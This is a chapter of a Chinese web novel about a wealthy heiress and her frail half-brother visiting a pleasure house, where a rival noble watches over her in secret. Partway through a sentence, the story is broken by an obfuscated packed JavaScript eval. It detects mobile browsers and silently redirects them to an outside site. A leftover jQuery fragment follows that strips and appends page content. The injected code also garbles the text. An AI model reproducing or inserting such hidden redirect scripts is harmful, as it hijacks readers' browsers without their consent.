第7章
沈盈息带着沈试玉坐上马车,车内空间宽阔,容纳两个少年人绰绰有余。
“……沈试玉,坐过去。”
沈盈息当下却觉得马车内十分拥挤,盖因沈试玉自上车起便挨紧了她坐下,少年郎腿长手长的,把她旁边的空位塞了完全,一点空余不剩。
沈试玉坐过来时一声招呼不打,现在却胆怯作态,两只手在宽袖下搅弄,遭到驱逐,小意绵绵地露出笑容:“姊姊莫恼,是我冒失了。阿姊的宽和善心带弟游玩,我太高兴失了礼数,又因阿姊身上温暖,一靠近阿姊就觉着通身舒畅,这才叫阿姊难受了。”
雪琉璃般的少年说着,双眼微闪,就要起身,言听计从的模样好不惹人怜爱。
但沈盈息没有感觉,她撇嘴,“知道就好,还不赶快……”
话音未落,异变突起,马夫忽然挥鞭,马车突然间季就动了起来。
沈试玉站立不稳,本是双手一撑就能避过跌倒的,他偏撑立不及,一时间就这样倒了下去。
他正好是面对沈盈息站着的,一倒,就这样迎着少女倒过去了。
“沈!试!玉!”
沈盈息是真躲闪不及。
眼睁睁看着少年像座雪人似地颓了过来,她伸手去撑,但还是挨不住少年过高的身量,一下被压倒在了软榻上。
疼倒是不疼。
——沈试玉最后关头伸出手,长臂撑住了榻子,把她半怀抱住了。
但也并不好受。
也不知沈试玉究竟是什么做的,看起来跟冰雪一样脆弱的人,身上又硬又热,她在他怀里没待一会儿,就觉得抵住少年胸膛的手也跟着热了起来。
两人一上一下,彼此呼吸交缠,是十五年来都从未有过的亲密。
意外造就的亲密。
“阿姊没事吧?”
头顶上方传来少年惊慌的问询,他似乎害怕她生气,不等她回话就着急地动作起来,谁知越动越乱,他那头发髻动作间散了下来,绸段似的青丝立刻遮住了沈盈息的视线。
……
身前是少年的胸膛,脸侧是少年的长发,沈盈息视野受限,细眉紧拧。
她看不见东西,无从得知柔弱倒地的少年此时正垂眸,望着她露出的后脑细颈,眼中情绪莫名。
“滚、开、”
少女被闷在狭窄之处,伸展不开,脾气上来,近乎是咬牙蹦出了这两个字。
少年这时方回了神,一手护住倒伏的姐姐后颈,一手撑住软榻屈腰半站了起来。
“阿姊,对不起,我……”
“啪!”
沈盈息刚坐好,就一巴掌把沈试玉揽着她的手给打了下去。
她用了很大力气,少年细白如雪的手背立刻红了一片,如泼了片红墨似的洇开了色。
“阿姊……”沈试玉愣愣的,左手盖着被打的右手背,琥珀色的眼珠定定地望着少女,待对方抬眸看来时,又忽地两眼湿润,隐含受伤之色。
“阿姊便这般厌恶我吗?”少年这时已乖顺坐远,与沈盈息离着一张矮案的距离,隔桌而视,神色戚戚。
沈盈息揉着手腕,闻言斜眼鄙薄,不遮不掩:“你有何处值得我喜欢的吗?庶子便也罢了,偏还这般病骨支离的。既不像兄长一样能走四方赚钱给我用,也不能像我的奴仆一样伺候我,若非你是我弟弟,我连多瞧你一眼都不可能!”
少女自小被捧着奉着,没人教过她讨好与低声下气,所以在表达好恶上,她一向直白到近乎锋利。
这点也全不是环境使然,身为前无情道魁首的魂息,沈盈息本尊亦是如此。
喜欢是喜欢,厌恶是厌恶。
她的强大允许她直白。
少女话音已落,马车内寂静良久。
只余车外的轮轴转动声还在响起,车轱辘辘向前,车内的两个少年陷入停滞中。
半晌,沈试玉眉眼微动,掀起纤长眼睫,眼瞳凝着前侧的沈盈息,湿润的目光在她那张莹白明丽的面庞看了又看。
“……可是阿姊,您儿时曾那样对我笑过……”
“笑?”沈盈息皱眉,“现在谁还记得小时候的事情。”
说罢,马车停了,马夫恭敬的声音在外面响起:“家主,翠玉楼到了。”
外间奴仆掀开车帘,沈盈息提起裙角,踩着马凳往下走,突然察觉到身后有道难以忽视的视线。
她回头去望,正对上沈试玉琥珀般干净的眸子。
看见她回望,沈试玉对她眨了眨眼,眼中泛起笑意。
沈盈息看了几秒,厌烦地收回视线,同时将心中疑惑压下。
这个沈试玉就是个普通的凡人而已,她刚才怎么觉得的,竟从他身上看到一丝森森鬼气。
……
“家主,这是廪管家给您备下的银票。”
思绪间,奴仆递过来一只荷包,沈盈息掂了掂,很厚实的一沓。
沈试玉跟着下了马车,陪在身侧,身上的活人气息跟着绕了过来,沈盈息顿了下。
“阿姊,刚才在车内是试玉做错了,您莫要再生气了。试玉无用,不能为姊姊所喜,日后定勤勉读书,博取功名,做个对阿姊有用的弟弟。”
少年柔和清润的嗓音落入耳中,一等一的音质,即便是在花楼门口这般喧嚣的地儿,也不曾折损一分动听。
沈盈息忽地省了过来,推了把沈试玉的肩头:“要玩就好好玩,这时候念什么读书功名的,我可警告你,别扫我的兴致。”
“都听阿姊的。”沈试玉抬手,摸了摸被推过的肩头,笑容乖顺。
沈盈息哼了声,顺着少年白皙手指,看向他的笑,发现他不知何时已整理好了发髻,掉落的簪子再次回到了头上,在光色陆离的花楼门口内敛又不失精致,像它的主人。
沈试玉出门时主动脱了羔裘,没了一身白,只袒露着张脸,却也格外引人注意。
其实不止沈试玉显眼,沈盈息更是耀目。
年岁不大的少女,一身金银锦衣,气质华贵,面如芙蓉,刚下了马车就已吸引到了许多人物。
“二位……”
翠玉楼里早有人观望,见两个衣着光鲜、样貌不凡的少年站在门口说话,这时对话结束,应是有了闲空,便立刻上前,堆笑:“可是决定了,来翠玉楼小酌几杯吧?”
沈盈息抬眼,看向笑容满面的老鸨,骄矜点头:“给我间最好的上房。”
老鸨一听,笑得眉不见眼:“欸欸,尊客这边请着。”
沈盈息跟着进入翠玉楼,沈试玉却还有些没反应过来似地,默不作声地将四周环境打量完毕,又把视线投向离去的沈盈息。
阿姊平日里都来这儿玩吗?
无怪乎,这几日连家都甚少回了。
沈试玉大门不出,对外间了解甚少,如今见这翠玉楼人声鼎沸、花香四溢,初以为是什么热闹的酒楼。
待随沈盈息进入楼内,方知不对。
一般酒楼……可没这样多漂亮的男女。
沈试玉一一看过去,却觉得这样多的漂亮男女,没一个比得过他的样貌。
可即便如此,阿姊却也不喜他。
“阿姊,这儿好玩吗?”沈试玉敛眉,望着身侧一脸新奇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251994|139650||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开心的少女,声音清浅。
“好玩,自然好玩。”
说话间,沈盈息笑着接过一个清秀少年递上的果酒,顺手抛出了一锭银子,老鸨在一旁大力奉承着她貌美又大方。
沈盈息咽下嘴中甜酒,耳中听得楼中笙箫齐奏,恍然间像进了什么甜蜜的幻境里。
杯酒下肚,她虽未醉,眼中却生了水光,一双长圆黑眸湿润润的,映着楼里繁华灯色,惑人的干净。
“哎呀,尊客这是怎么了,醉了吗?”老鸨也是见美心喜,在一旁见沈盈息水润黑眸,一时手痒,伸了手就欲扶人。
“滚。”
手还没伸过来,但被一道少年淬冰的嗓音阻拦。
老鸨一惊,眼神从沈盈息身侧的少年上转过,却发现那少年红唇紧抿,只一味紧盯着少女,不似出声的样子。
她狐疑了瞬,双手又缓缓从袖中伸出……
“你今天敢伸手碰她,明日你的手也不必在了。”
“嚯!”老鸨惊恐,她扎扎实实地听到一道少年声音啊。
阴冷、冰寒、饱含杀意。
这这这……见鬼了?!
“欸?”正当老鸨强自镇静,预备查询声音来源时,沈盈息出声了。
少女眯眼,看向二楼处,扯唇:“你怎么在这啊?”
楼上静了一瞬,而后才落下一道讽声:“这儿是什么好地方不成,你沈盈息进得,小爷我就进不得?”
“……”
沈盈息翻了个漂亮的白眼,根本不想再看二楼。
怎么就这么巧,冤家路窄的,去哪儿都能碰上季九。
本来挺高兴的,她还准备趁着高兴劲和季九正常说点话,谁知道这人看不清好赖,一出口就呛人。
“真是晦气。”
沈盈息拽住沈试玉,看向发呆的老鸨:“喂,你干什么呢,还不快带我去订的房间。”
老鸨猛地醒过神,忙不迭点头哈腰:“是是,您这边请。”
而后让出空,请沈盈息和沈试玉先行。
老鸨自个儿随在两个少年身后,试探的眼神向二楼探去。
不探不打紧,她一眼瞥去,正好和季九冰冷的目光撞上。
那样的眼神,老鸨被吓得一抖,赶忙扭过头,再不敢多瞧了。
真是可怕……季世子看起来真的会剁了她的手。
待沈盈息的背影消失在楼阶之间,二楼的季九回了房间,修长如玉的手指端起一杯酒,抵着唇,暂且未喝,而是冷冷道:“查查沈盈息身边的人是谁?”
房间内烛火一闪,一道黑影离去。
季九方慢慢地抿了口酒液,眼前再次浮现出沈盈息醉意朦胧的模样,他脸颊莫名一热,眼神却愈发冷着。
房间静谧,过了半晌,华衣少年半垂长睫,手指摩挲着杯身,绯红薄唇微启:“看看沈盈息现在定的哪间房,给本世子把她旁边的房间都定了。”
烛火再闪,又一道黑影悄无声息地出了房间。
季九坐在原处,黑沉的视线凝着杯中酒液,思及那少女两眼无知地喝花酒的场景。
“蠢。”
薄唇一掀,季九面无表情地道。
他方才内力传音,警告了不老实的老鸨,看她刚才惊恐的样,应是不敢对沈盈息做手脚了。
这样一只老鼠都晓得惧怕他。
偏她,偏这个淮东来的沈盈息无所畏惧,几次三番挑衅。
这也罢了,要和他斗,至少也该聪明点,怎么不仅带着那样多的银钱在花楼招摇撞市,还敢……
还敢当着他的面,直言‘晦气’。